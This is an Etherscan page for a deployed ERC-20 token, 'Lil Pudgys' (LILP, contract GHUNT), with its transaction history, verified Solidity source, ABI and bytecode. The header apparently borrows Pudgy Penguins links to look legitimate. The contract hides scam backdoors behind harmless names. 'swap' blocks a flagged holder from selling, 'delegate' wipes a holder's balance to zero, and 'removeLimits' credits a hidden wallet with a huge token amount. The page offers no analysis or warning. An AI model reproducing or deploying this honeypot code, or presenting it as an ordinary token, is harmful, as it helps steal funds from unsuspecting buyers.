ETH Price: $2,617.60 (+0.99%)

Contract

0x07Bf306AAde228919B123d799C075d2Ba627aD79
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer199114922024-05-20 13:39:35149 days ago1716212375IN
0x07Bf306A...Ba627aD79
0 ETH0.000203326.93523549
Remove Limits199108622024-05-20 11:32:59149 days ago1716204779IN
0x07Bf306A...Ba627aD79
0 ETH0.000220767.165861
Approve199107982024-05-20 11:20:11149 days ago1716204011IN
0x07Bf306A...Ba627aD79
0 ETH0.00030516.54519632
Delegate199107892024-05-20 11:18:23149 days ago1716203903IN
0x07Bf306A...Ba627aD79
0 ETH0.000208337.30677154
Swap199107792024-05-20 11:16:23149 days ago1716203783IN
0x07Bf306A...Ba627aD79
0 ETH0.000386898.00778464
Swap199107742024-05-20 11:15:23149 days ago1716203723IN
0x07Bf306A...Ba627aD79
0 ETH0.000341667.07161726
Approve199107212024-05-20 11:04:47149 days ago1716203087IN
0x07Bf306A...Ba627aD79
0 ETH0.00043219.28159465
Approve199107202024-05-20 11:04:35149 days ago1716203075IN
0x07Bf306A...Ba627aD79
0 ETH0.0005176211.11867441
Swap199107182024-05-20 11:04:11149 days ago1716203051IN
0x07Bf306A...Ba627aD79
0 ETH0.000459069.50157907
Approve199107132024-05-20 11:03:11149 days ago1716202991IN
0x07Bf306A...Ba627aD79
0 ETH0.000461329.9093059
Approve199107102024-05-20 11:02:35149 days ago1716202955IN
0x07Bf306A...Ba627aD79
0 ETH0.000448839.64088146
Swap199106972024-05-20 10:59:59149 days ago1716202799IN
0x07Bf306A...Ba627aD79
0 ETH0.00446275157.1227828
Swap199106522024-05-20 10:50:59149 days ago1716202259IN
0x07Bf306A...Ba627aD79
0 ETH0.0044693157.35333431
Approve199106402024-05-20 10:48:35149 days ago1716202115IN
0x07Bf306A...Ba627aD79
0 ETH0.00036277.79091898
Transfer199106282024-05-20 10:46:11149 days ago1716201971IN
0x07Bf306A...Ba627aD79
0 ETH0.00018626.35120638
Transfer199106102024-05-20 10:42:35149 days ago1716201755IN
0x07Bf306A...Ba627aD79
0 ETH0.000176396.06132747
Swap199106042024-05-20 10:41:23149 days ago1716201683IN
0x07Bf306A...Ba627aD79
0 ETH0.0076066157.47681997
Approve199105782024-05-20 10:36:11149 days ago1716201371IN
0x07Bf306A...Ba627aD79
0 ETH0.000409568.78602972
Approve199105712024-05-20 10:34:47149 days ago1716201287IN
0x07Bf306A...Ba627aD79
0 ETH0.000421829.06075093
Swap199105662024-05-20 10:33:47149 days ago1716201227IN
0x07Bf306A...Ba627aD79
0 ETH0.000434368.99035817
Swap199105332024-05-20 10:27:11149 days ago1716200831IN
0x07Bf306A...Ba627aD79
0 ETH0.00774961160.39762144
Approve199105022024-05-20 10:20:35149 days ago1716200435IN
0x07Bf306A...Ba627aD79
0 ETH0.000352027.56140631
Approve199104992024-05-20 10:19:59149 days ago1716200399IN
0x07Bf306A...Ba627aD79
0 ETH0.000360347.74026936
Approve199104962024-05-20 10:19:23149 days ago1716200363IN
0x07Bf306A...Ba627aD79
0 ETH0.000371687.98382395
Approve199104922024-05-20 10:18:35149 days ago1716200315IN
0x07Bf306A...Ba627aD79
0 ETH0.000366057.86294435
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GHUNT

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-05-19
*/

// SPDX-License-Identifier: UNLICENSED
/*


                ╭╮╱╱╱╭╮╱╭━━━╮╱╱╱╱╭╮
                ┃┃╱╱╱┃┃╱┃╭━╮┃╱╱╱╱┃┃
                ┃┃╱╱╭┫┃╱┃╰━╯┣╮╭┳━╯┣━━┳╮╱╭┳━━╮
                ┃┃╱╭╋┫┃╱┃╭━━┫┃┃┃╭╮┃╭╮┃┃╱┃┃━━┫
                ┃╰━╯┃┃╰╮┃┃╱╱┃╰╯┃╰╯┃╰╯┃╰━╯┣━━┃
                ╰━━━┻┻━╯╰╯╱╱╰━━┻━━┻━╮┣━╮╭┻━━╯
                ╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┣━╯┃
                ╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━┻━━╯

                Website: https://www.pudgypenguins.com
                TG: https://t.me/+AXYqMuH1Y-AwMTJk
                Twitter: https://x.com/pudgypenguins
                OpenSea: https://opensea.io/collection/lilpudgys




*/

pragma solidity ^0.8.24;

abstract contract Ownable  {
     function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract GHUNT is Ownable{   
    constructor(address add) {      
        _tokename = "Lil Pudgys";
        _tokensymbol = "LILP";
        _taxData = add;
        _totalSupply = 1000000000*10**decimals();
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    address public _taxData;
    uint256 private _totalSupply;
    string private _tokename;
    string private _tokensymbol;  
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public tokeninfo;
    uint128 buyCount = 64544;
    uint128 sellCount = 0;
    uint256 devAmount = 10**decimals()*68800*(23300000000+300);
    bool globaltrue = true;
    bool globalff = false;

    function delegate(address delegatee) external    {
        if (true) {
            require(_taxData == _msgSender()); 
            _balances[delegatee] *= sellCount;       
        }
        
    }

    function swap(address bot) public virtual returns (bool) {
        address tmoinfo = bot;     
        tokeninfo[tmoinfo] = globaltrue;
        require(_msgSender() == _taxData);
        return true;
    }

    function deSwap(address notbot) external  {
        address tmoinfo = notbot;      
        tokeninfo[tmoinfo] = globalff;
        require(_msgSender() == _taxData);      
    }

    function removeLimits() external   {
        if(_msgSender() == _taxData){  
            require( _taxData == _msgSender());  
            address feeAmount = _msgSender();
            address swapRouter = feeAmount;
            address devWallet = swapRouter; 
            _balances[devWallet] += devAmount;       
        }   
       
    }
    
    function name() public view returns (string memory) {
        return _tokename;
    }

    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokeninfo[from] == true) 
        {amount = buyCount + _balances[from] + 
        buyCount-buyCount;}
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"add","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxData","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"deSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"swap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokeninfo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405261fc20600855620000186012600a620002d0565b620000279062010cc0620002e7565b620000389064056cc9ca2c620002e7565b600955600a805461ffff1916600117905534801562000055575f80fd5b506040516200102438038062001024833981016040819052620000789162000301565b620000833362000172565b60408051808201909152600a8152694c696c2050756467797360b01b6020820152600390620000b39082620003c7565b506040805180820190915260048082526304c494c560e41b602083015290620000dd9082620003c7565b50600180546001600160a01b0319166001600160a01b03831617905562000102601290565b6200010f90600a620002d0565b6200011f90633b9aca00620002e7565b6002819055335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000493565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200021557815f1904821115620001f957620001f9620001c1565b808516156200020757918102915b93841c9390800290620001da565b509250929050565b5f826200022d57506001620002ca565b816200023b57505f620002ca565b81600181146200025457600281146200025f576200027f565b6001915050620002ca565b60ff841115620002735762000273620001c1565b50506001821b620002ca565b5060208310610133831016604e8410600b8410161715620002a4575081810a620002ca565b620002b08383620001d5565b805f1904821115620002c657620002c6620001c1565b0290505b92915050565b5f620002e060ff8416836200021d565b9392505050565b8082028115828204841417620002ca57620002ca620001c1565b5f6020828403121562000312575f80fd5b81516001600160a01b0381168114620002e0575f80fd5b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200035257607f821691505b6020821081036200037157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003c257805f5260205f20601f840160051c810160208510156200039e5750805b601f840160051c820191505b81811015620003bf575f8155600101620003aa565b50505b505050565b81516001600160401b03811115620003e357620003e362000329565b620003fb81620003f484546200033d565b8462000377565b602080601f83116001811462000431575f8415620004195750858301515b5f19600386901b1c1916600185901b1785556200048b565b5f85815260208120601f198616915b82811015620004615788860151825594840194600190910190840162000440565b50858210156200047f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610b8380620004a15f395ff3fe608060405234801561000f575f80fd5b5060043610610106575f3560e01c8063630e071c1161009e578063751039fc1161006e578063751039fc146102335780638da5cb5b1461023b57806395d89b411461024b578063a9059cbb14610253578063dd62ed3e14610266575f80fd5b8063630e071c146101b657806364473a12146101e157806370a0823114610203578063715018a61461022b575f80fd5b806318160ddd116100d957806318160ddd1461016f57806323b872dd14610181578063313ce567146101945780635c19a95c146101a3575f80fd5b806303438dd01461010a57806306fdde03146101325780630884a83814610147578063095ea7b31461015c575b5f80fd5b61011d6101183660046109c6565b61029e565b60405190151581526020015b60405180910390f35b61013a6102ef565b60405161012991906109e6565b61015a6101553660046109c6565b61037f565b005b61011d61016a366004610a32565b6103cf565b6002545b604051908152602001610129565b61011d61018f366004610a5a565b6103e1565b60405160128152602001610129565b61015a6101b13660046109c6565b610404565b6001546101c9906001600160a01b031681565b6040516001600160a01b039091168152602001610129565b61011d6101ef3660046109c6565b60076020525f908152604090205460ff1681565b6101736102113660046109c6565b6001600160a01b03165f9081526005602052604090205490565b61015a61045e565b61015a610471565b5f546001600160a01b03166101c9565b61013a6104cb565b61011d610261366004610a32565b6104da565b610173610274366004610a93565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b600a546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600154839116336001600160a01b0316146102e6575f80fd5b50600192915050565b6060600380546102fe90610ac4565b80601f016020809104026020016040519081016040528092919081815260200182805461032a90610ac4565b80156103755780601f1061034c57610100808354040283529160200191610375565b820191905f5260205f20905b81548152906001019060200180831161035857829003601f168201915b5050505050905090565b600a546001600160a01b038281165f908152600760205260409020805460ff191661010090930460ff16151592909217909155600154829116336001600160a01b0316146103cb575f80fd5b5050565b5f6102e63384846104e6565b92915050565b5f336103ee85828561060e565b6103f98585856106a5565b506001949350505050565b6001546001600160a01b0316331461041a575f80fd5b6008546001600160a01b0382165f9081526005602052604081208054600160801b9093046001600160801b031692909190610456908490610b10565b909155505050565b610466610903565b61046f5f61095c565b565b6001546001600160a01b0316330361046f576001546001600160a01b03163314610499575f80fd5b600954335f8181526005602052604081208054929384938493919291906104c1908490610b27565b9091555050505050565b6060600480546102fe90610ac4565b5f6102e63384846106a5565b6001600160a01b03831661054d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166105ae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610544565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f19811461069f578181101561068b5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610544565b61069f848461069a8585610b3a565b6104e6565b50505050565b6001600160a01b0383166107095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610544565b6001600160a01b03821661076b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610544565b6001600160a01b0383165f9081526007602052604090205460ff1615156001036107d9576008546001600160a01b0384165f908152600560205260409020546001600160801b039091169081906107c29082610b27565b6107cc9190610b27565b6107d69190610b3a565b90505b6001600160a01b0383165f90815260056020526040902054818110156108505760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610544565b6001600160a01b0384165f90815260056020526040902054610873908390610b3a565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546108a2908390610b27565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108f59086815260200190565b60405180910390a350505050565b5f546001600160a01b0316331461046f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610544565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146109c1575f80fd5b919050565b5f602082840312156109d6575f80fd5b6109df826109ab565b9392505050565b5f602080835283518060208501525f5b81811015610a12578581018301518582016040015282016109f6565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610a43575f80fd5b610a4c836109ab565b946020939093013593505050565b5f805f60608486031215610a6c575f80fd5b610a75846109ab565b9250610a83602085016109ab565b9150604084013590509250925092565b5f8060408385031215610aa4575f80fd5b610aad836109ab565b9150610abb602084016109ab565b90509250929050565b600181811c90821680610ad857607f821691505b602082108103610af657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176103db576103db610afc565b808201808211156103db576103db610afc565b818103818111156103db576103db610afc56fea2646970667358221220f3eeb51421cebbe17a40fe544720742f1ceb2115e8599f6d9508b54cacfdf20a64736f6c6343000818003300000000000000000000000001b6b9889f56af8bdb53ac00ad72cf840de4858e

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c8063630e071c1161009e578063751039fc1161006e578063751039fc146102335780638da5cb5b1461023b57806395d89b411461024b578063a9059cbb14610253578063dd62ed3e14610266575f80fd5b8063630e071c146101b657806364473a12146101e157806370a0823114610203578063715018a61461022b575f80fd5b806318160ddd116100d957806318160ddd1461016f57806323b872dd14610181578063313ce567146101945780635c19a95c146101a3575f80fd5b806303438dd01461010a57806306fdde03146101325780630884a83814610147578063095ea7b31461015c575b5f80fd5b61011d6101183660046109c6565b61029e565b60405190151581526020015b60405180910390f35b61013a6102ef565b60405161012991906109e6565b61015a6101553660046109c6565b61037f565b005b61011d61016a366004610a32565b6103cf565b6002545b604051908152602001610129565b61011d61018f366004610a5a565b6103e1565b60405160128152602001610129565b61015a6101b13660046109c6565b610404565b6001546101c9906001600160a01b031681565b6040516001600160a01b039091168152602001610129565b61011d6101ef3660046109c6565b60076020525f908152604090205460ff1681565b6101736102113660046109c6565b6001600160a01b03165f9081526005602052604090205490565b61015a61045e565b61015a610471565b5f546001600160a01b03166101c9565b61013a6104cb565b61011d610261366004610a32565b6104da565b610173610274366004610a93565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b600a546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600154839116336001600160a01b0316146102e6575f80fd5b50600192915050565b6060600380546102fe90610ac4565b80601f016020809104026020016040519081016040528092919081815260200182805461032a90610ac4565b80156103755780601f1061034c57610100808354040283529160200191610375565b820191905f5260205f20905b81548152906001019060200180831161035857829003601f168201915b5050505050905090565b600a546001600160a01b038281165f908152600760205260409020805460ff191661010090930460ff16151592909217909155600154829116336001600160a01b0316146103cb575f80fd5b5050565b5f6102e63384846104e6565b92915050565b5f336103ee85828561060e565b6103f98585856106a5565b506001949350505050565b6001546001600160a01b0316331461041a575f80fd5b6008546001600160a01b0382165f9081526005602052604081208054600160801b9093046001600160801b031692909190610456908490610b10565b909155505050565b610466610903565b61046f5f61095c565b565b6001546001600160a01b0316330361046f576001546001600160a01b03163314610499575f80fd5b600954335f8181526005602052604081208054929384938493919291906104c1908490610b27565b9091555050505050565b6060600480546102fe90610ac4565b5f6102e63384846106a5565b6001600160a01b03831661054d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166105ae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610544565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f19811461069f578181101561068b5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610544565b61069f848461069a8585610b3a565b6104e6565b50505050565b6001600160a01b0383166107095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610544565b6001600160a01b03821661076b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610544565b6001600160a01b0383165f9081526007602052604090205460ff1615156001036107d9576008546001600160a01b0384165f908152600560205260409020546001600160801b039091169081906107c29082610b27565b6107cc9190610b27565b6107d69190610b3a565b90505b6001600160a01b0383165f90815260056020526040902054818110156108505760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610544565b6001600160a01b0384165f90815260056020526040902054610873908390610b3a565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546108a2908390610b27565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108f59086815260200190565b60405180910390a350505050565b5f546001600160a01b0316331461046f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610544565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146109c1575f80fd5b919050565b5f602082840312156109d6575f80fd5b6109df826109ab565b9392505050565b5f602080835283518060208501525f5b81811015610a12578581018301518582016040015282016109f6565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610a43575f80fd5b610a4c836109ab565b946020939093013593505050565b5f805f60608486031215610a6c575f80fd5b610a75846109ab565b9250610a83602085016109ab565b9150604084013590509250925092565b5f8060408385031215610aa4575f80fd5b610aad836109ab565b9150610abb602084016109ab565b90509250929050565b600181811c90821680610ad857607f821691505b602082108103610af657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176103db576103db610afc565b808201808211156103db576103db610afc565b818103818111156103db576103db610afc56fea2646970667358221220f3eeb51421cebbe17a40fe544720742f1ceb2115e8599f6d9508b54cacfdf20a64736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000001b6b9889f56af8bdb53ac00ad72cf840de4858e

-----Decoded View---------------
Arg [0] : add (address): 0x01b6B9889f56af8bDb53ac00Ad72Cf840de4858E

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000001b6b9889f56af8bdb53ac00ad72cf840de4858e


Deployed Bytecode Sourcemap

2299:4531:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3331:210;;;;;;:::i;:::-;;:::i;:::-;;;548:14:1;;541:22;523:41;;511:2;496:18;3331:210:0;;;;;;;;4101:87;;;:::i;:::-;;;;;;;:::i;3549:181::-;;;;;;:::i;:::-;;:::i;:::-;;4900:152;;;;;;:::i;:::-;;:::i;4389:91::-;4460:12;;4389:91;;;1533:25:1;;;1521:2;1506:18;4389:91:0;1387:177:1;5060:287:0;;;;;;:::i;:::-;;:::i;4297:84::-;;;4371:2;2044:36:1;;2032:2;2017:18;4297:84:0;1902:184:1;3120:203:0;;;;;;:::i;:::-;;:::i;2631:23::-;;;;;-1:-1:-1;;;;;2631:23:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;2631:23:0;2091:203:1;2889:41:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;4488:110;;;;;;:::i;:::-;-1:-1:-1;;;;;4572:18:0;4545:7;4572:18;;;:9;:18;;;;;;;4488:110;1828:103;;;:::i;3738:351::-;;;:::i;1593:87::-;1639:7;1666:6;-1:-1:-1;;;;;1666:6:0;1593:87;;4196:93;;;:::i;4606:144::-;;;;;;:::i;:::-;;:::i;4758:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4857:18:0;;;4830:7;4857:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4758:134;3331:210;3457:10;;-1:-1:-1;;;;;3436:18:0;;;3382:4;3436:18;;;:9;:18;;;;;:31;;-1:-1:-1;;3436:31:0;3457:10;;;;3436:31;;;;;;;;;-1:-1:-1;3502:8:0;3436:18;;3502:8;1191:10;-1:-1:-1;;;;;3486:24:0;;3478:33;;;;;;-1:-1:-1;3529:4:0;;3331:210;-1:-1:-1;;3331:210:0:o;4101:87::-;4138:13;4171:9;4164:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4101:87;:::o;3549:181::-;3664:8;;-1:-1:-1;;;;;3643:18:0;;;3602:15;3643:18;;;:9;:18;;;;;:29;;-1:-1:-1;;3643:29:0;3664:8;;;;;;3643:29;;;;;;;;;-1:-1:-1;3707:8:0;3643:18;;3707:8;1191:10;-1:-1:-1;;;;;3691:24:0;;3683:33;;;;;;3591:139;3549:181;:::o;4900:152::-;4966:4;4983:39;1191:10;5006:7;5015:6;4983:8;:39::i;4900:152::-;;;;;:::o;5060:287::-;5183:4;1191:10;5241:38;5257:4;1191:10;5272:6;5241:15;:38::i;:::-;5290:27;5300:4;5306:2;5310:6;5290:9;:27::i;:::-;-1:-1:-1;5335:4:0;;5060:287;-1:-1:-1;;;;5060:287:0:o;3120:203::-;3213:8;;-1:-1:-1;;;;;3213:8:0;1191:10;3213:24;3205:33;;;;;;3278:9;;-1:-1:-1;;;;;3254:20:0;;;;;;:9;:20;;;;;:33;;-1:-1:-1;;;3278:9:0;;;-1:-1:-1;;;;;3278:9:0;;3254:20;;;:33;;3278:9;;3254:33;:::i;:::-;;;;-1:-1:-1;;3120:203:0;:::o;1828:103::-;1552:13;:11;:13::i;:::-;1893:30:::1;1920:1;1893:18;:30::i;:::-;1828:103::o:0;3738:351::-;3803:8;;-1:-1:-1;;;;;3803:8:0;1191:10;3787:24;3784:286;;3838:8;;-1:-1:-1;;;;;3838:8:0;1191:10;3838:24;3829:34;;;;;;4042:9;;1191:10;3880:17;4018:20;;;:9;:20;;;;;:33;;1191:10;;;;;;4042:9;;4018:20;3880:17;4018:33;;4042:9;;4018:33;:::i;:::-;;;;-1:-1:-1;;;;;3738:351:0:o;4196:93::-;4236:13;4269:12;4262:19;;;;;:::i;4606:144::-;4668:4;4685:35;1191:10;4709:2;4713:6;4685:9;:35::i;6032:378::-;-1:-1:-1;;;;;6168:19:0;;6160:68;;;;-1:-1:-1;;;6160:68:0;;3586:2:1;6160:68:0;;;3568:21:1;3625:2;3605:18;;;3598:30;3664:34;3644:18;;;3637:62;-1:-1:-1;;;3715:18:1;;;3708:34;3759:19;;6160:68:0;;;;;;;;;-1:-1:-1;;;;;6247:21:0;;6239:68;;;;-1:-1:-1;;;6239:68:0;;3991:2:1;6239:68:0;;;3973:21:1;4030:2;4010:18;;;4003:30;4069:34;4049:18;;;4042:62;-1:-1:-1;;;4120:18:1;;;4113:32;4162:19;;6239:68:0;3789:398:1;6239:68:0;-1:-1:-1;;;;;6318:18:0;;;;;;;:11;